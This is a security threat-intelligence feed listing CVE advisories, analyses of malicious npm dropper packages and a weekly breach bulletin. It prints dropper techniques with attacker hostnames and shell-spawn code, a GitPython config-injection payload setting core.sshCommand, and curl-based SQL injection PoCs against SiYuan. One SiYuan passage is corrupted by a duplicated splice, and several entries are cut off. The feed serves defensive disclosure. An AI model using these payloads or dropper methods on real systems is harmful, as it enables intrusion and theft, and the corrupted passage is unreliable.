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291 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 4.8 | EPSS 0.2% | CVE-2026-19337adenot mcp-google-search · Server-Side Request Forgery Medium4.8EPSS 0.2%CVE Database V5CVE-2026-19337 A vulnerability was determined in adenot mcp-google-search up to 0.3.1. Impacted is an unknown function of the file src/index.ts of the component read_webpage. Executing a manipulation of the argument url can lead to server-side request forgery. The attack is restricted to local execution. This patch is called f071d491b685011ca04e8ab8d586fc65f86bcee1. It is advisable to implement a patch to correct this issue. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package dolyame-ui-inputsearch version 35.8.1 is identified as a malicious dropper disguised as a UI input search component. Upon requiring the package, it loads obfuscated code that downloads a platform-specific binary from multiple suspicious endpoints without verification. The binary is saved to hidden paths and executed detached from the main process. The dropped file impersonates .NET diagnostics tooling, but its actual purpose is unknown and unrelated to the advertised functionality. | GCVE Database | |||
| High | 8.7 | High8.7GCVE Database Craft CMS contains an authenticated remote code execution vulnerability in its control panel element-search condition handling. The flaw arises because the JSON string in the 'condition.config' parameter bypasses the intended configuration cleansing, allowing Yii behavior/event configuration injection. Exploitation requires an authenticated control panel session and a valid CSRF token. Successful exploitation can lead to command execution as the PHP/web user, exposing secrets, database credentials, and enabling site content modification or further internal pivoting. | GCVE Database | |||
| Medium | 4.2 | EPSS 0.3% | Medium4.2EPSS 0.3%GCVE DatabaseCVE-2026-9689 Red Hat has released security updates for the Red Hat build of Keycloak 26.6.5, addressing multiple vulnerabilities including authorization bypasses, privilege escalation, denial of service, arbitrary code execution, and security bypasses in various components such as the admin UI, FGAPv2, DCR protocol, LDAP user search, Quarkus REST, SAML broker, and OIDC redirect URI. These vulnerabilities affect the OpenShift containerized image and operator for on-premise or private cloud deployments. The update aligns with the standalone Keycloak product release and provides new container images to mitigate these issues. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4f29e1e3b6b3a01a935dbcd19077e516c17d31c3674078ecfe2cd112b0137437) On require, index.js loads _init.js which reconstructs hostnames from split-string arrays (e.g. ['oob-worker.cf102','-baf.workers.','dev'].join('') and ['sdk.dl.','wel1.ru'].join('')) to build URLs against four Cloudflare Workers hosts (oob-worker.cf99-9b3.workers.dev, oob-worker.cf100-416.workers.dev, oob-worker.cf102-baf.workers.dev, oob-worker.cf103-070.workers.dev) with a DNS-TXT chunked fallback via sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, and net.dl.wel1.ru. A platform-specific binary is downloaded via https.get, written to /tmp or %TEMP% under disguised names such as.cache_<hex> and dotnet_diag_<hex>.exe, chmodded 0755, and launched detached via spawn('/bin/sh', ['-c', path+' &']) or spawn('cmd',...). The fetched payload is unverified, comes from mutable non-publisher hosts, and executes on module load rather than through any documented API of the package. ## Source: ghsa-malware (7cd7386bf67dcd89be60f275d29aa374bf07fa12a56f1ff56bef400c7b2ddf17) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (117b4f6c7e9e402d92085e427c4b40874e9b6838e16c15562408a0bda241f9ae) The package presents itself as a UI dropdown library but on require executes _init.js, which selects a platform-specific asset (linux/darwin/win32), fetches an opaque binary over HTTPS from string-fragmented `*.workers.dev` hosts (assembled via `.join('')` to hide the hostname from static scanners) with a DNS-TXT chunked-base64 fallback to `*.dl.wel1.ru`, writes the payload to /var/tmp or %TEMP% under a disguised name (`dotnet_diag_<hex>.exe` on Windows, `.cache_<hex>` on Unix), chmods it 0755, and spawns it detached via `/bin/sh -c "<file> &"` or `cmd.exe /c start /b`. The `require("child_"+"process")` split, the fragmented CDN host arrays, the.NET-diagnostics filename masquerade, and an `analytics_state` marker file provide cover-story framing. There is no pinning, hash verification, publisher-matched origin, or relation to a UI dropdown component. Installing or importing the package results in arbitrary attacker-controlled code executing on the installer's host. ## Source: ghsa-malware (5aa96551428ffa96321135f6a2df75bfddc6d1a28627a94dc3d689940e13e377) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3f8a32e0a10123bde764e059abea762d4b0574d57d35e6bd3e92e4d96cdeb245) On require() of the package, index.js loads _ext.js which downloads a platform-specific binary from runtime-assembled Cloudflare workers.dev hostnames (oob-worker.cf99-9b3.workers.dev, cf100-416, cf101-adf, cf103-070) with a DNS-TXT covert-channel fallback against subdomains of dl.well1.site (tin/ldr/win.dl.well1.site) that reassembles base64 chunks into executable bytes. The fetched payload is written to /var/tmp or %TEMP% under disguised names (.cache_<rand> on Unix, dotnet_diag_<rand>.exe on Windows), chmod +x'd, and spawned detached via spawn("/bin/sh",["-c",fp+" &"],{detached:true}) or spawn("cmd",...). C2 hostnames are assembled at runtime via ["oob-work","er.cf103-07","0.workers.","dev"].join("") to defeat static string search. The package presents itself as a base framework typings module and ships an unreferenced lib/telemetry.js plus DISABLE_TELEMETRY/ANALYTICS_OPT_OUT/DO_NOT_TRACK opt-out env vars as cover; the DNS-TXT path carries an inline comment describing it as chunked transfer for environments blocking HTTPS. ## Source: ghsa-malware (a0c5ac14d5ca2237a244551a8668e466e4f83d359a930dc35e57543405e4c14c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (73a17b2afbbc0ab147312c16ab39ed32f31061c185ff2dedbea76bdf5940dd2a) On require(), _polyfill.js selects a platform-specific path, retrieves an opaque binary over HTTPS from one of several *.workers.dev hosts whose names are assembled at runtime by joining split string fragments, writes it to /tmp or %TEMP% under a decoy name such as dotnet_diag_<rand>.exe or.cache_<rand>, sets mode 0755 on POSIX, and spawns it detached via /bin/sh -c or cmd. A DNS-over-TXT fallback channel reassembles a base64 payload from numbered TXT records under *.dl.well1.site. Hostnames are constructed from arrays of fragments to evade string search, and a cooldown state file gates re-execution. The package advertises a 'merchant service layer' role and ships no legitimate need for a hidden native payload dropper. ## Source: ghsa-malware (01be161bf71b08510ee30bb6263e865bf9022ea2b966cfd457fd7d1ca5719cb6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.8 | EPSS 0.2% | High7.8EPSS 0.2%AWS Security BulletinsCVE-2026-18656 Bulletin ID: 2026-074-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 08/04/2026 12:30 PM PDT Description: Kiro is an agentic IDE and command-line interface users install on their desktop. We identified CVE-2026-18656 and CVE-2026-18657, an issue where an uncontrolled search path element on Windows might allow an actor to execute arbitrary code via a maliciously crafted project directory containing a planted executable that is resolved before the system PATH when a local user opens the directory. Impacted versions: - Kiro IDE for Windows between versions 1.0.0 through 1.0.212 - Kiro CLI for Windows prior to v2.10.0 Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin. | AWS Security Bulletins | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-41447Zucchetti S.p.a FirmaCheck · Untrusted Search Path High8.5EPSS 0.2%CVE Database V5CVE-2026-41447 FirmaCheck for Windows before 1.3.16 contains a DLL hijacking vulnerability that allows local attackers to execute arbitrary code by placing a crafted openssl.cnf file in the unvalidated C:\Program Files (x86)\Common Files\SSL\ directory path. Attackers can write a malicious OpenSSL configuration file referencing an attacker-controlled DLL to achieve code execution at startup process privilege level when FirmaCheck.exe runs automatically at system startup. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| High | 8.4 | EPSS 0.2% | CVE-2026-47211Q00 ouroboros · Untrusted Search Path High8.4EPSS 0.2%CVE Database V5CVE-2026-47211 Ouroboros is a local-first runtime for AI coding agents that records their actions and applies user-defined policies to constrain behavior. In versions prior to 0.39.0, if a user clones a malicious repository and runs Ouroboros commands within that directory, it can lead to arbitrary code execution and potential system takeover. The vulnerability stems from Ouroboros loading the .env file from the current working directory. Execution-affecting environment variables such as OUROBOROS_CLI_PATH, OPENCODE_CLI_PATH, and other backend selectors are accepted directly from this local .env. An attacker can include a malicious script in the repository and point the CLI path variable to it (e.g., OUROBOROS_CLI_PATH=./malicious_script.sh). When the user executes a command like ouroboros init or any command that instantiates the adapter, the malicious script is executed instead of the intended CLI. This issue has been fixed in version 0.39.0. | CVE Database V5 | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-69097GitPython · Injection High7.3EPSS 0.3%CVE Database V5CVE-2026-69097 ### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co | CVE Database V5 | ||
| Critical | 9.9 | EPSS 1.6% | CVE-2026-69084siyuan · SQL Injection Critical9.9EPSS 1.6%CVE Database V5CVE-2026-69084 **CVE:** This vulnerability corresponds to [CVE-2026-69084](https://nvd.nist.gov/vuln/detail/CVE-2026-69084). ### Summary The `/api/search/searchEmbedBlock` endpoint passes a client-supplied SQL statement verbatim to the database with no validation. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The statement runs on the main read-write `siyuan.db` handle through a driver that executes stacked statements, with no single-statement or read-only guard. An unauthenticated request can therefore execute arbitrary SQL reading and writing content across all cleartext notebooks. Unlike SQL injection into a fixed query, this endpoint accepts a full SQL statement by design and simply fails to restrict who may call it or what the statement may do. ### Details Data flow verbatim, unvalidated: - `searchEmbedBlock` (`kernel/api/search.go`): `stmt := arg["stmt"].(string)` passed directly to `model.SearchEmbedBlock(stmt, …)`. No validation. - `SearchEmbedBlock` → `SearchEmbedBlockInBox` → `sql.SelectBlocksRawStmtNoParse(stmt, …)` → `selectBlocksRawStmt` → `query(stmt)`. - `query()` (`kernel/sql/database.go`) calls `db.Query(stmt)` on the global `siyuan.db` handle. **Missing guards.** The comparable endpoints enforce restrictions this one omits: - `/api/query/sql` runs `CheckSingleStatement` (all modes) and `CheckReadonlyStatement` (readonly mode) and is route-gated `CheckAuth + CheckAdminRole + CheckReadonly`. - `fullTextSearchBlock` rejects the SQL search method for non-admins (`if method == 2 && !IsAdminRoleContext(c)`). `searchEmbedBlock` has none of these, no statement check, no read-only check, no admin gate. **Route/auth tier.** `router.go`: `Handle("POST", "/api/search/searchEmbedBlock", model.CheckAuth, searchEmbedBlock)`, `CheckAuth` only. `CheckAuth` admits `RoleReader`, and the publish proxy forwards port-6808 traffic with a Reader JWT (anonymous account when publish auth is disabled). Anonymous/reader reachable. **Handle/stacking.** `query()` uses the global `siyuan.db` handle, the same read-write handle behind the accepted `searchDocs` finding. Driver is the vendored `88250/go-sqlite3` (mattn fork), whose connection `query` loops over `;`-separated statements, so stacked statements execute for their side effects. The DSN sets no `mode=ro` / `_query_only`, so the handle is read-write; `ATTACH` is available. **Post-hoc filter does not bound the statement.** `FilterEmbedBlocksByPublishAccess` runs on the returned slice *after* `query()` has executed. It filters rows; it cannot constrain what the statement did. Any write or `ATTACH` side effect has already occurred before the filter runs. It is not a security boundary for this sink. **Scope.** The main `blocks`/DB handle spans every opened cleartext notebook. Encrypted notebooks use separate per-box databases and are excluded. ### Impact An unauthenticated request (publish mode with auth disabled) or any publish `RoleReader` executes arbitrary SQL on the main read-write database. This permits cross-notebook read disclosure of document content, and via the read-write handle and statement stacking, modification of database content and `ATTACH`-reachable files. No admin role, CSRF token, or write permission through the normal API is required. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`). ### PoC Steps 1. Build the kernel image from pinned HEAD `docker build -f D:/bb/zitadel/chatto/siyuan/Dockerfile.poc -t siyuan-head D:/bb/zitadel/chatto/siyuan` 2. Run fresh, workspace mounted to the host ``` docker rm -f siyuan-poc 2>nul docker run -d --name siyuan-poc -p 6806:6806 -p 6808:6808 -v D:/bb/siyuan:/siyuan/workspace siyuan-head serve --accessAuthCode=1234567 --port=6806 ``` Confirm it booted (version string back, not Cobra help): ``` docker logs siyuan-poc curl -s http://127.0.0.1:6806/api/system/version ``` 3. Grab the admin API token from the host file. Use that value wherever TOKEN appears below (yours was g4wj3r04ntobe9m4). 4. Turn on the reader surface: publish on 6808, Basic Auth OFF `curl -s -X POST http://127.0.0.1:6806/api/setting/setPublish -H "Content-Type: application/json" -H "Authorization: Token TOKEN" -d "{\"enable\":true,\"port\":6808,\"auth\":{\"enable\":false,\"accounts\":[]}}"` Must return "data":{"port":6808,...} (non-zero port = bound OK). Port 6808, not 6806. 5. THE PROOF: anonymous reader on 6808, no token (the differential) Guarded sibling rejects reader SQL: `curl -i -X POST http://127.0.0.1:6808/api/search/fullTextSearchBlock -H "Content-Type: application/json" -d "{\"query\":\"SELECT * FROM blocks LIMIT 1\",\"method\":2}"` → -1 / "SQL search requires administrator privileges" searchEmbedBlock accepts the same reader SQL (no guard): `curl -i -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock -H "Content-Type: application/json" -d "{\"embedB | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.5% | CVE-2026-69083siyuan · SQL Injection Critical9.9EPSS 0.5%CVE Database V5CVE-2026-69083 **CVE:** This vulnerability corresponds to [CVE-2026-69083](https://nvd.nist.gov/vuln/detail/CVE-2026-69083). ### Summary The `/api/search/fullTextSearchAssetContent` endpoint exposes two SQL flaws on the asset-content database, both reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is `false`: 1. **method 2** passes a client-supplied SQL statement to the read-write asset-content DB with no single-statement or read-only guard, and without the admin restriction its sibling `fullTextSearchBlock` applies to the same SQL method. 2. **method 3** builds a `REGEXP` clause by concatenating the client expression with no quote-escaping, permitting SQL breakout while the equivalent block-search builder does escape. Both run on a read-write handle through a statement-stacking-capable driver, spanning the cross-notebook asset-content store. ### Details **Route / auth tier.** `router.go`: `Handle("POST", "/api/search/fullTextSearchAssetContent", model.CheckAuth, fullTextSearchAssetContent)`, `CheckAuth` only. Anonymous/reader reachable on the publish surface. `parseSearchAssetContentArgs` reads `method` and `query` straight from the JSON body with no constraint, so both are fully client-controlled. **Missing admin guard (contrast with the sibling).** `fullTextSearchBlock` rejects the SQL method for non-admins (`if method == 2 && !IsAdminRoleContext(c)`). `fullTextSearchAssetContent` has no such check on its handler, so the SQL method is reachable by a reader. **method 2 : raw SQL, no statement guard.** Dispatch: `FullTextSearchAssetContent` case 2 → `searchAssetContentBySQL(query, …)`. After `filterQueryInvisibleChars` + `TrimSpace`, the statement is passed to `sql.SelectAssetContentsRawStmt(stmt, …)` → `queryAssetContent` → `assetContentDB.Query(query)` directly, with no `CheckSingleStatement`/`CheckReadonlyStatement`. The `assetContentDB` DSN sets no `mode=ro`/`_query_only`, so the handle is read-write (same `88250/go-sqlite3` fork). **method 3 : unescaped REGEXP concatenation.** Dispatch → `assetContentFieldRegexp(exp)`, which writes `(name REGEXP '<exp>' OR content REGEXP '<exp>')` by concatenation with **no** `'` escaping. `exp` reaches it after only `filterQueryInvisibleChars` (strips invisible characters, not quotes). The parallel block-search builder `fieldRegexp` performs `ReplaceAll(regexp, "'", "''")` before wrapping, this asset builder omits that step. A single quote in `exp` breaks out of the literal into SQL context. The result runs via `SelectAssetContentsRawStmtNoParse` → `queryAssetContent` → direct `assetContentDB.Query`, again with no single/read-only guard. **Post-hoc filter.** `FilterAssetContentByPublishAccess` runs on the results after the query executes; it filters rows and does not constrain the statement (same timing as the accepted `searchDocs`/`searchEmbedBlock` findings). **Handle / stacking / scope.** Read-write asset-content DB, `88250/go-sqlite3` stacking-capable driver, `ATTACH` available. The asset-content store spans notebooks cross-boundary. ### Impact An unauthenticated request (publish mode with auth disabled) or any publish `RoleReader` can, via method 2, execute arbitrary SQL on the read-write asset-content database, and via method 3, inject SQL through the unescaped `REGEXP` clause. Both permit cross-notebook read disclosure of asset-content data and, via the read-write handle and statement stacking, modification of database content and `ATTACH`-reachable files. No admin role or write permission through the normal API is required. Code execution is not reachable in the default build (no `load_extension`). ### PoC Steps 1. Create a doc with a heading and secret body (6806, admin token) `curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"name\":\"F3\"}"` Take the returned notebook id as BOX, then: `curl -s -X POST http://127.0.0.1:6806/api/filetree/createDocWithMd -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"notebook\":\"BOX\",\"path\":\"/f3-secret\",\"markdown\":\"## SecretSection\n\nUNIQUE_MARKER_99 hidden body text\"}"` The returned string is the doc root id → DOC. 2. Get the heading block id (admin SQL on 68 `curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"name\":\"F3\"}"` Take the returned notebook id as BOX, then: `curl -s -X POST http://127.0.0.1:6806/api/fintent-Type: application/json" -H"Authorization: Token g4wj3r04ntobe9m4" -d "{\"notebook\":\"BOX\",\"path\":\"/f3-secret\",\"markdown\":\"## SecretSection\n\nUNIQUE_MARKER_99 hidden body text\"}"` The returned string is the doc root id → DOC. 2. Get the heading block id (admin SQL on 6806) `curl -s -X POST http://127.0.0.1:6806/api/query/sql -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntob | CVE Database V5 | ||
| –Not rated | – | Check Point Research For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors. Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected. Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines. Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online. AI THREATS Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures. Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3. Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable. VULNERABILITIES AND PATCHES Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog. Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8. JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected. Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files… | Check Point Research | |||
| High | 8.6 | EPSS 0.5% | CVE-2026-68581vikunja · Incorrect Authorization High8.6EPSS 0.5%CVE Database V5CVE-2026-68581 Executive Summary Vikunja accepts both regular-user JSON Web Tokens (JWTs) and link-share JWTs through its generic authenticated API route group. A link-share JWT resolves to a `models.LinkSharing` principal whose `GetID()` method returns the numeric `link_shares.id`. The API-token management model then treats that generic numeric value as a `users.id` when it creates, lists, and deletes API tokens. Because `users.id` and `link_shares.id` are independent positive sequences, a link share whose ID equals another user's ID is treated as that user by `/api/v1/tokens`. An ordinary authenticated attacker can obtain a target's numeric user ID through authenticated user search and create link shares on an attacker-writable project until the link-share sequence reaches that value. The colliding link-share principal can then list the target's API-token metadata, issue a new API token owned by the target, and delete target-owned API tokens. The newly issued token operates with attacker-selected valid API scopes under the target user's existing permissions. I reviewed the vulnerable `v2.3.0` source, the introducing commit, the stable tag history, and the inspected main revision directly. I also reviewed the recorded local HTTP and native-router validation results. Dynamic testing used only a local `v2.3.0` Docker deployment with PostgreSQL and synthetic data; I did not test any public, hosted, or otherwise external instance. Historical tags were checked from source rather than exercised dynamically. | Field | Value | | --- | --- | | Product | Vikunja API | | Status | Validated; disclosure-ready | | Confirmed affected stable versions | `v0.22.0` through `v2.3.0`, inclusive | | Nearest confirmed unaffected stable version | `v0.21.0` | | Introducing commit | `e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa` | | Latest inspected affected main revision | `95b7e673fb5ee407498fa4b13e8b4c57847a4a0b` | | Fixed version | Unknown; no verified fix commit or release was identified | | Severity | High, CVSS v3.1 score 8.1 | | Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | Weakness | Primary: CWE-863 (Incorrect Authorization); secondary: CWE-639 | The stable range is source-based. The issue first became reachable when commit `e6b25bd57b...` added the authenticated API-token CRUD routes while retaining the generic `web.Auth.GetID()` ownership model. `v0.21.0` does not contain the API-token model or these routes. All containing stable tags from `v0.22.0` through `v2.3.0` retain the vulnerable source-to-sink tuple. Downstream forks and vendor-specific builds were not assessed. ## Background ### Two authenticated principal types share one numeric interface Vikunja's authenticated route group is protected by a common token middleware. That middleware can establish a regular user, an API-token owner, or a link share as the request's `web.Auth` principal. The `/api/v1/tokens` handlers are registered on this generic group in `pkg/routes/routes.go`: ```go a.Use(SetupTokenMiddleware()) // API Tokens apiTokenProvider := &handler.WebHandler{ EmptyStruct: func() handler.CObject { return &models.APIToken{} }, } a.GET("/tokens", apiTokenProvider.ReadAllWeb) a.PUT("/tokens", apiTokenProvider.CreateWeb) a.DELETE("/tokens/:token", apiTokenProvider.DeleteWeb) ``` The security-sensitive detail is that authentication answers *which object is the principal*, while `web.Auth.GetID()` exposes only an untyped integer. A regular user's ID belongs to the `users` namespace. A link-share ID belongs to the separately allocated `link_shares` namespace. Equality between those integers does not imply that the principals represent the same actor. ### Link-share authentication preserves the share-row ID `pkg/modules/auth/auth.go` creates a link-share JWT with the share's numeric ID and later resolves that token to a `models.LinkSharing` object: ```go claims["type"] = AuthTypeLinkShare claims["id"] = share.ID claims["hash"] = share.Hash claims["project_id"] = share.ProjectID // ... if typ == AuthTypeLinkShare && config.ServiceEnableLinkSharing.GetBool() { s := db.NewSession() defer s.Close() return models.GetLinkShareFromClaims(s, claims) } ``` The `LinkSharing` model declares its own positive auto-incrementing key and returns it unchanged through the generic interface in `pkg/models/link_sharing.go`: ```go type LinkSharing struct { ID int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"share"` // ... } func (share *LinkSharing) GetID() int64 { return share.ID } ``` Link shares are expected to act within the shared project's permission boundary. API-token management is instead a user-account credential boundary: tokens are owned by users and can authorize future requests as those users. The normal invariant should therefore be that only a positively identified regular-user principal may enter API-token management, and its user ID must be used as the owner key. ### Attacker capabilities The validated attacker is an ord | CVE Database V5 | ||
| Medium | 4.3 | Medium4.3GCVE Database ### Summary A DQL injection vulnerability in several read tools lets a caller bypass the tools' documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers. ### Details Several tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as `"24h"` timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use `//` line comments (documented in the [Dynatrace DQL language reference](https://docs.dynatrace.com/docs/discover-dynatrace/platform/grail/dynatrace-query-language/dql-reference)) to discard the rest of the intended query. The marginal-privilege ceiling is low because the operator's token also exposes `execute_dql` with full DQL access. What the injection grants is the ability to bypass the affected tools' contract: the `readOnlyHint: true` annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., `| fields id, name, type`), the display caps (`maxProblemsToDisplay`, `maxVulnerabilitiesToDisplay`, `maxEntitiesToDisplay`), and the time-window bounds. The vulnerable interpolations are: | File | Line | Parameter | Interpolation | |------|------|-----------|---------------| | `src/capabilities/find-monitored-entity-by-name.ts` | 23 | `entityNames[]` | `` `fetch ${entityType} \| search "*${entityNames.join('*" OR "*')}*" \| fieldsAdd entity.type \| expand tags` `` | | `src/capabilities/find-monitored-entity-by-name.ts` | 41 | `entityNames[]` | 